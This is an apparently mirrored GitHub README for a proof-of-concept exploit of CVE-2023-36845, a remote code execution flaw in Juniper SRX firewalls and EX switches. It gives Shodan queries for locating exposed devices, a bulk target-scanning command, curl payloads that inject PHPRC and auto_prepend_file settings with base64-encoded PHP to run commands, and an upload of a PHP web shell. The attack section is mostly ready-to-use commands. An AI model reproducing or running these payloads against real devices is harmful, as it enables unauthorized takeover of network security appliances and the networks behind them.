Coder Social home page Coder Social logo

kljunowsky / cve-2023-36845 Goto Github PK

View Code? Open in Web Editor NEW
44.0 2.0 13.0 10 KB

Juniper Firewalls CVE-2023-36845 - RCE

License: MIT License

Python 100.00%
bug-bounty-hunting bugbounty bugbountytips bugbountytricks cve-2023-36845 cybersecurity hacking poc proof-of-concept rce remote-code-execution remote-command-execution security web-application-security juniper juniper-networks juniper-srx juniper-firewall

cve-2023-36845's Introduction

CVE-2023-36845

Description

CVE-2023-36845 represents a notable PHP environment variable manipulation vulnerability that impacts Juniper SRX firewalls and EX switches. While Juniper has categorized this vulnerability as being of medium severity, in this article, we will elucidate how this singular vulnerability can be leveraged for remote, unauthenticated code execution.

Search - Shodan

title:"Juniper Web Device Manager"
image
title:"Juniper" http.favicon.hash:2141724739
image

Usage πŸ› 

Detection

python3 CVE-2023-36845.py -f targets.txt -o output.txt

RCE 🧨

Option 1

Utilizing any protocol wrapper in conjunction with auto_prepend_file is feasible. The most suitable choice for this operation is the data:// protocol, which allows inline provision of the "secondary file". Here's a sophisticated representation of this exploit, executing the embedded <? phpinfo(); ?> within the data:// scheme:

curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

Execute whoami command

<?php shell_exec('whoami'); ?>

curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD9waHAgc2hlbGxfZXhlYygnd2hvYW1pJyk7ID8+Cg=="'

Option 2

Upload a file

<?php if(isset($_REQUEST[cmd])){ echo "<pre>"; $cmd = ($_REQUEST[cmd]); system($cmd); echo "</pre>"; die; }?>

$ curl http://target.tld/webauth_operation.php -d 'rs=do_upload&rsargs[]=[{"fileName": "shell.php", "fileData": ",PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUW2NtZF0pKXsgZWNobyAiPHByZT4iOyAkY21kID0gKCRfUkVRVUVTVFtjbWRdKTsgc3lzdGVtKCRjbWQpOyBlY2hvICI8L3ByZT4iOyBkaWU7IH0/Pgo=
", "csize": 110}]'

Parameters 🧰

Parameter Description Type
--file / -f Input targets file File
-o Output file File

Contact Me πŸ“‡

LinkedIn - Milan Jovic

cve-2023-36845's People

Contributors

kljunowsky avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

cve-2023-36845's Issues

The RCE problem of curl

Hello, I have tried many environments but cannot execute the curl command. Because most environments allow_ URL_ Include ':' 0 ', is there anything in this reality that can be successfully played?,thank you。

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    πŸ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. πŸ“ŠπŸ“ˆπŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❀️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.